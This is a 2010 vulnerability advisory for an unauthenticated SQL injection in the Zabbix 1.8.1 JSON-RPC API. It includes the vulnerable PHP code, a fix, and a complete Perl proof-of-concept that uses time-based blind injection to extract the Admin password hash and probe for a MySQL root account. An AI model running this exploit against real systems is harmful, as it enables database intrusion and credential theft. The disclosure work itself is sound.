=============================================
- Release date: April 1st, 2010
- Discovered by: Dawid Golunski
- Severity: High
=============================================

I. VULNERABILITY
-------------------------
Zabbix <= 1.8.1 SQL Injection

II. BACKGROUND
-------------------------
Zabbix is an enterprise-class open source distributed monitoring solution.
Zabbix is software that monitors numerous parameters of a network and the
health and integrity of servers. Properly configured, Zabbix can play an
important role in monitoring IT infrastructure. This is equally true for
small organisations with a few servers and for large companies with a
multitude of servers.

III. INTRODUCTION
-------------------------
Zabbix version 1.8 introduces an API which is vulnerable to an SQL Injection
attack. No authentication required.

IV. DESCRIPTION
-------------------------

Zabbix API uses a function called DBcondition() (definded in 
include/db.inc.php) to format conditions in WHERE clause of an SQL query
The function expects sanitized data and does not perform any additional
checks:

function DBcondition($fieldname, &$array, $notin=false, $string=false){
	global $DB;
	$condition = '';
---[cut]---
	$in =           $notin?' NOT IN ':' IN ';
	$concat =       $notin?' AND ':' OR ';
	$glue =         $string?"','":',';

	switch($DB['TYPE']) {
		case 'SQLITE3':
		case 'MYSQL':
		case 'POSTGRESQL':
		case 'ORACLE':
		default:
			$items = array_chunk($array, 950);
			foreach($items as $id => $values){
				$condition.=!empty($condition)?')'.$concat.$fieldname.$in.'(':'';
				if($string)     $condition.= "'".implode($glue,$values)."'";
				else            $condition.= implode($glue,$values);
			}
			break;
	}

	if(zbx_empty($condition)) $condition = $string?"'-1'":'-1';

return ' ('.$fieldname.$in.'('.$condition.')) ';
}

The DBcondition() is used numerous times within Zabbix API code to include
user supplied parameters within SQL queries. It is also used during the
authentication in class.cuser.php:

class CUser extends CZBXAPI{
---[cut]---
public static function get($options=array()){
---[cut]---
// users
if(!is_null($options['users'])){
	zbx_value2array($options['users']);
	$sql_parts['where'][] = DBcondition('u.alias', $options['users'], false, true);
}

---[cut]---
if(!empty($sql_parts['where']))         $sql_where.= ' AND '.implode(' AND ',$sql_parts['where']);

---[cut]---
$sql = 'SELECT DISTINCT '.$sql_select.'
                FROM '.$sql_from.'
                WHERE '.DBin_node('u.userid', $nodeids).
                $sql_where.
                $sql_order;
$res = DBselect($sql, $sql_limit);
---[cut]---

The $options['users'] variable can be supplied by calling the 
user.authenticate method of the Zabbix API with a 'user' paramter as we
can tell from rpc/class.czbxrpc.php file:

// Authentication {{{
if(($resource == 'user') && ($action == 'authenticate')){
	$sessionid = null;

	$options = array(
			'users' => $params['user'],
			'extendoutput' => 1,
			'get_access' => 1
			);
	$users = CUser::get($options);
	$user = reset($users);
	if($user['api_access'] != GROUP_API_ACCESS_ENABLED){
		self::$result = array('error' => ZBX_API_ERROR_NO_AUTH, 'data' => 'No API access');
		return self::$result;
}

This lack of sanitization leads to an SQL Injection vulnerability which
can be exploited without any authentication.

V. PROOF OF CONCEPT
-------------------------

Below is a harmless PoC exploit that retrieves password hashes and checks
for mysql root account.

#!/usr/bin/perl

#
# zabbix181api.pl - Zabbix <= 1.8.1 API SQL Injection PoC Exploit
#
# Copyright (c) 2010 
# Dawid Golunski <dawid[!]legalhackers.com>
# legalhackers.com
#
# Description
# -----------
# A PoC exploit for Zabbix <= 1.8.1 API (api_jsonrpc.php) prone to
# an sql injection attack allowing unauthenticated users to access 
# the backend database.
# The exploit performs a blind time-based sql injection attack to 
# retrieve Zabbix Admin's password hash and check if Zabbix uses a
# MySQL root account.
#
# Example
# -----------
# $ ./zabbix181api.pl http://10.0.0.1/zabbix
# Target: http://10.0.0.1/zabbix
# Reqtime: 0.2s ; SleepTime: 0.4s 
# 
# Checking if zabbix uses mysql root account... No
#
# Extracting Admin's password hash from zabbix users table:
# 5fce1b3c34b520ageffb47ce08a7cd76
# Job done.
# 


use Time::HiRes qw(gettimeofday tv_interval);
use HTTP::Request::Common qw(POST);
use LWP::UserAgent;

my $zabbix_api_url = shift || die "No target url provided. Exiting.\n";
$zabbix_api_url .= "/api_jsonrpc.php";
my $ua = LWP::UserAgent->new;
$ua->timeout(8);

sub sendRequest 
{
	my ($api_url, $data) = @_;
	my $start_time = [gettimeofday];
	my $response = $ua->request(POST "$api_url", 
		Content_Type => "application/json-rpc",
		Content => "$data");
	my $end_time = [gettimeofday];
	my $elapsed_time = tv_interval($start_time,$end_time);
	my $elapsed_time_sec = sprintf "%.1f", $elapsed_time;

	my %result = ("content", $response->content, 
		      "code", $response->code,
		      "success", ($response->is_success() ? 1 : 0),
		      "time", $elapsed_time_sec);
	return %result;
}

%result  = sendRequest($zabbix_api_url, "");
if ($result{success} ne 1) {
	die "Could not access zabbix API.\n";
}
my $req_time = $result{time};
my $sleep_time = ($req_time * 2.0);

print "Target: $zabbix_api_url\n";
print "Reqtime: ${req_time}s ; SleepTime: ${sleep_time}s \n\n";

$| = 1;

print "Checking if zabbix uses mysql root account... ";
my $jsondata = '{"auth":null,"method":"user.authenticate","id":1,"params":{'.
	       '"password":"apitest123",'.
	       '"user":"Admin\') ) OR '.
	       'if (!strcmp(substring(user(),1,4),\'root\'),sleep('.$sleep_time.'),0) '.
	       ' -- end "},"jsonrpc":"2.0"}';
%result = sendRequest($zabbix_api_url, $jsondata);
print $result{content};
if ($result{time}  >= $sleep_time) {
	print "Yes!\n\n";
} else {
	print "No\n\n";
}

my $username = "Admin";
my @chars = (0 .. 10, "a" .. "f");
my $md5_hash = "";
print "Extracting Admin's password hash from zabbix users table:\n";
for (my $offset=1; $offset<=32; $offset++) {
    for (my $idx=0; $idx<(scalar @chars); $idx++) {
	$jsondata = '{"auth":null,"method":"user.authenticate","id":1,"params":{'.
		       '"password":"apitest123",'.
		       '"user":"'.$username.'\') ) AND '.
		       'if (!strcmp(substring(u.passwd,'.$offset.',1),\''.$chars[$idx].'\'),sleep('.$sleep_time.'),0) '.
		       ' -- end "},"jsonrpc":"2.0"}';
	%result = sendRequest($zabbix_api_url, $jsondata);
	if ($result{time}  >= $sleep_time) {
		$md5_hash .= $chars[$idx];
		print $chars[$idx];
	} 
    }
}
print "\nJob done.\n";


VI. BUSINESS IMPACT
-------------------------
An attacker could exploit the vulnerability to retrieve any data from
databases accessible by zabbix db user. 
In case zabbix has been given a more privileged mysql account the 
exploitation could go as far as code execution.

Users running a vulnerable version of zabbix can become an easy 
target as zabbix installation can be easily discovered if default
settings are used by checking for a listening server on port 10051 and/or
existence of api script at http://host/zabbix/api_jsonrpc.php

VII. SYSTEMS AFFECTED
-------------------------
Versions 1.8 and 1.8.1 are vulnerable.
Versions in line 1.7.x starting from 1.7.2 also contain the 
api and could be vulnerable.

VIII. SOLUTION
-------------------------
Upgrade to version 1.8.2 that has just come out or remove the API
(api_jsonrpc.php) from your installation if not in use.

IX. REFERENCES
-------------------------
http://www.zabbix.com
http://legalhackers.com/advisories/zabbix181api-sql.txt
http://legalhackers.com/poc/zabbix181api.pl-poc

X. CREDITS
-------------------------
The vulnerability has been discovered by Dawid Golunski
dawid (at) legalhackers (dot) com
legalhackers.com

XI. REVISION HISTORY
-------------------------
April 1st, 2010: Initial release

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with 
no warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this information.